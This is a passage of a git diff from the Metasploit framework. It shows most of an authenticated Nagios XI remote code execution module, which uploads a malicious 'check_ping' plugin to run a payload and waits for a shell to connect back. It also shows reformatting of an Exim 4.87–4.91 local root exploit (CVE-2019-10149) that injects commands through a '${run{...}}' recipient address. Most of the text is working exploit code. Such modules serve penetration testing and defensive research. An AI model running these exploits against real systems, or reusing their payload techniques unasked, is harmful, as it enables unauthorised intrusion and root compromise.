OptString.new('TARGETURI', [true, 'Base path to NagiosXI', '/']),
|
||||
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
|
||||
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
|
||||
]
|
||||
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false])
|
||||
]
|
||||
import_target_defaults
|
||||
end
|
||||
|
||||
def check
|
||||
vprint_status("Running check")
|
||||
|
||||
#visit Nagios XI login page to obtain the nsp value required for authentication
|
||||
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php')
|
||||
|
||||
unless res
|
||||
return CheckCode::Unknown('Connection failed')
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body.include?('Nagios XI')
|
||||
return CheckCode::Safe('Target is not a Nagios XI application.')
|
||||
end
|
||||
|
||||
@nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue ''
|
||||
|
||||
if @nsp.to_s.eql? ''
|
||||
return CheckCode::NoAccess, 'Could not retrieve nsp value, making authentication impossible.'
|
||||
end
|
||||
|
||||
#Attempt to authenticate
|
||||
@username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon
|
||||
|
||||
auth_res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
nsp: @nsp,
|
||||
page: 'auth',
|
||||
debug: '',
|
||||
pageopt: 'login',
|
||||
username: @username,
|
||||
password: password,
|
||||
loginButton: ''
|
||||
}
|
||||
})
|
||||
|
||||
unless auth_res
|
||||
fail_with Failure::Unreachable, 'Connection failed'
|
||||
end
|
||||
|
||||
unless auth_res.code == 302 && auth_res.headers['Location'] == "index.php"
|
||||
fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.'
|
||||
end
|
||||
|
||||
#Check Nagios XI version - this requires a separate request because following the redirect doesn't work
|
||||
@cookie = auth_res.get_cookies.delete_suffix(';') #remove trailing semi-colon
|
||||
@cookie = @cookie.split().last #app returns 3 cookies, we need only the last one
|
||||
version_check = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/nagiosxi/index.php'),
|
||||
'method' => 'GET',
|
||||
'cookie' => @cookie,
|
||||
'nsp' => @nsp
|
||||
})
|
||||
|
||||
unless version_check
|
||||
fail_with Failure::Unreachable, 'Connection failed'
|
||||
end
|
||||
|
||||
unless version_check.code == 200 && version_check.body.include?('Home Dashboard')
|
||||
fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.'
|
||||
end
|
||||
|
||||
@version = version_check.body.scan(/product=nagiosxi&version=(\d+\.\d+\.\d+)/).flatten.first rescue ''
|
||||
if @version.to_s.eql? ''
|
||||
return CheckCode::Detected('Could not determine Nagios XI version.')
|
||||
end
|
||||
|
||||
@version = Gem::Version.new @version
|
||||
|
||||
unless @version <= Gem::Version.new('5.6.5')
|
||||
return CheckCode::Safe("Target is Nagios XI with version #{@version}.")
|
||||
end
|
||||
|
||||
CheckCode::Appears("Target is Nagios XI with version #{@version}.")
|
||||
end
|
||||
|
||||
def check_plugin_permissions
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
|
||||
'method' => 'GET',
|
||||
'cookie' => @cookie,
|
||||
'nsp' => @nsp
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with Failure::Unreachable, 'Connection failed'
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body.include?('Manage Plugins')
|
||||
fail_with(Failure::NoAccess, "The user #{@username} does not have permission to edit plugins, which is required for the exploit to work.")
|
||||
end
|
||||
|
||||
@plugin_nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue ''
|
||||
if @plugin_nsp.to_s.eql? ''
|
||||
fail_with Failure::NoAccess, 'Failed to obtain the nsp value required for the exploit to work.'
|
||||
end
|
||||
|
||||
@plugin_cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
print_status("Uploading malicious 'check_ping' plugin...")
|
||||
boundary = rand_text_numeric(14)
|
||||
post_data = "-----------------------------#{boundary}\n"
|
||||
post_data << "Content-Disposition: form-data; name=\"upload\"\n\n1\n"
|
||||
post_data << "-----------------------------#{boundary}\n"
|
||||
post_data << "Content-Disposition: form-data; name=\"nsp\"\n\n"
|
||||
post_data << "#{@plugin_nsp}\n"
|
||||
post_data << "-----------------------------#{boundary}\n"
|
||||
post_data << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n"
|
||||
post_data << "-----------------------------#{boundary}\n"
|
||||
post_data << "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\n" #the exploit doesn't work with a random filename
|
||||
post_data << "Content-Type: text/plain\n\n"
|
||||
post_data << "#{cmd}\n"
|
||||
post_data << "-----------------------------#{boundary}--\n"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
|
||||
'method' => 'POST',
|
||||
'ctype' => "multipart/form-data; boundary=---------------------------#{boundary}", #this needs to be specified here, otherwise the default value is sent in the header
|
||||
'cookie' => @plugin_cookie,
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with Failure::Unreachable, 'Upload failed'
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body.include?('New plugin was installed successfully')
|
||||
fail_with Failure::Unknown, 'Failed to upload plugin.'
|
||||
end
|
||||
|
||||
@plugin_installed = true
|
||||
end
|
||||
|
||||
def execute_payload #This request will timeout. It has to, for the exploit to work.
|
||||
print_status("Executing plugin...")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/nagiosxi/includes/components/profile/profile.php'),
|
||||
'method' => 'GET',
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => { cmd: 'download' }
|
||||
})
|
||||
end
|
||||
|
||||
def cleanup()
|
||||
return unless @plugin_installed
|
||||
|
||||
print_status("Deleting malicious 'check_ping' plugin...")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
|
||||
'method' => 'GET',
|
||||
'cookie' => @plugin_cookie,
|
||||
'vars_get' => {
|
||||
delete: 'check_ping',
|
||||
nsp: @plugin_nsp
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
|
||||
return
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body.include?('Plugin deleted')
|
||||
print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("Plugin deleted.")
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless [CheckCode::Detected, CheckCode::Appears].include? check
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
if @version
|
||||
print_status("Found Nagios XI application with version #{@version}.")
|
||||
end
|
||||
|
||||
check_plugin_permissions
|
||||
vprint_status("User #{@username} has the required permissions on the target.")
|
||||
|
||||
if target.arch.first == ARCH_CMD
|
||||
execute_command(payload.encoded)
|
||||
message = "Waiting for the payload to connect back..."
|
||||
else
|
||||
execute_cmdstager(background: true)
|
||||
message = "Waiting for the plugin to request the final payload..."
|
||||
end
|
||||
print_good("Successfully uploaded plugin.")
|
||||
execute_payload
|
||||
print_status "#{message}"
|
||||
end
|
||||
end
|
||||
@@ -150,8 +150,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
CheckCode::Vulnerable
|
||||
]
|
||||
|
||||
unless checkcodes.include?(check) || datastore['ForceExploit']
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
unless datastore['ForceExploit']
|
||||
unless checkcodes.include?(check)
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Configuring #{target.name} target")
|
||||
|
||||
@@ -22,7 +22,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
[
|
||||
['URL', 'http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'],
|
||||
['OSVDB', '84408']
|
||||
#['CVE', 'None'],
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
|
||||
@@ -12,58 +12,63 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).
|
||||
Improper validation of recipient address in deliver_message()
|
||||
function in /src/deliver.c may lead to command execution with root privileges
|
||||
(CVE-2019-10149).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Qualys', # Discovery and PoC (@qualys)
|
||||
'Dennis Herrmann', # Working exploit (@dhn)
|
||||
'Marco Ivaldi', # Working exploit (@0xdea)
|
||||
'Guillaume André' # Metasploit module (@yaumn_)
|
||||
],
|
||||
'DisclosureDate' => '2019-06-05',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Exim 4.87 - 4.91',
|
||||
lower_version: Gem::Version.new('4.87'),
|
||||
upper_version: Gem::Version.new('4.91')
|
||||
]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PrependSetgid' => true,
|
||||
'PrependSetuid' => true
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).
|
||||
Improper validation of recipient address in deliver_message()
|
||||
function in /src/deliver.c may lead to command execution with root privileges
|
||||
(CVE-2019-10149).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-10149' ],
|
||||
[ 'EDB', '46996' ],
|
||||
[ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]
|
||||
]
|
||||
))
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Qualys', # Discovery and PoC (@qualys)
|
||||
'Dennis Herrmann', # Working exploit (@dhn)
|
||||
'Marco Ivaldi', # Working exploit (@0xdea)
|
||||
'Guillaume André' # Metasploit module (@yaumn_)
|
||||
],
|
||||
'DisclosureDate' => '2019-06-05',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Exim 4.87 - 4.91',
|
||||
lower_version: Gem::Version.new('4.87'),
|
||||
upper_version: Gem::Version.new('4.91')
|
||||
]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PrependSetgid' => true,
|
||||
'PrependSetuid' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-10149' ],
|
||||
[ 'EDB', '46996' ],
|
||||
[ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])
|
||||
])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]),
|
||||
OptFloat.new('ExpectTimeout', [ true, 'Timeout for Expect when communicating with exim', 3.5 ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def base_dir
|
||||
@@ -76,17 +81,17 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
def open_tcp_connection
|
||||
socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
|
||||
params = Rex::Socket::Parameters.new({
|
||||
'PeerHost' => '127.0.0.1',
|
||||
'PeerPort' => datastore['EXIMPORT']
|
||||
})
|
||||
begin
|
||||
socket = socket_subsystem.create_tcp_client_channel(params)
|
||||
rescue => e
|
||||
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
|
||||
"are you sure exim is listening on this port? (see EXIMPORT)")
|
||||
raise e
|
||||
end
|
||||
params = Rex::Socket::Parameters.new({
|
||||
'PeerHost' => '127.0.0.1',
|
||||
'PeerPort' => datastore['EXIMPORT']
|
||||
})
|
||||
begin
|
||||
socket = socket_subsystem.create_tcp_client_channel(params)
|
||||
rescue StandardError => e
|
||||
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
|
||||
'are you sure exim is listening on this port? (see EXIMPORT)')
|
||||
raise e
|
||||
end
|
||||
return socket_subsystem, socket
|
||||
end
|
||||
|
||||
@@ -95,13 +100,13 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
socket_subsystem, socket = open_tcp_connection
|
||||
|
||||
tcp_conversation = {
|
||||
nil => /220/,
|
||||
'helo localhost' => /250/,
|
||||
"MAIL FROM:<>" => /250/,
|
||||
"RCPT TO:<${run{#{payload}}}@localhost>" => /250/,
|
||||
'DATA' => /354/,
|
||||
'Received:' => nil,
|
||||
'.' => /250/
|
||||
nil => /220/,
|
||||
'helo localhost' => /250/,
|
||||
'MAIL FROM:<>' => /250/,
|
||||
"RCPT TO:<${run{#{payload}}}@localhost>" => /250/,
|
||||
'DATA' => /354/,
|
||||
'Received:' => nil,
|
||||
'.' => /250/
|
||||
}
|
||||
|
||||
begin
|
||||
@@ -131,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
else
|
||||
unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\
|
||||
"&& echo true").chomp.to_s == 'true'
|
||||
'&& echo true').chomp.to_s == 'true'
|
||||
fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")
|
||||
end
|
||||
|
||||
@@ -189,7 +194,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
if session.type == 'meterpreter'
|
||||
begin
|
||||
socket_subsystem, socket = open_tcp_connection
|
||||
rescue
|
||||
rescue StandardError
|
||||
return CheckCode::Safe
|
||||
end
|
||||
res = socket.gets
|
||||
@@ -200,14 +205,14 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\
|
||||
"(read -u 3 && echo $REPLY) || echo false'")
|
||||
if res == 'false'
|
||||
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
|
||||
"are you sure exim is listening on this port? (see EXIMPORT)")
|
||||
return CheckCode::Safe
|
||||
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
|
||||
'are you sure exim is listening on this port? (see EXIMPORT)')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
if res =~ /Exim ([0-9\.]+)/i
|
||||
version = Gem::Version.new($1)
|
||||
version = Gem::Version.new(Regexp.last_match(1))
|
||||
vprint_status("Found exim version: #{version}")
|
||||
if version >= target[:lower_version] && version <= target[:upper_version]
|
||||
return CheckCode::Appears
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user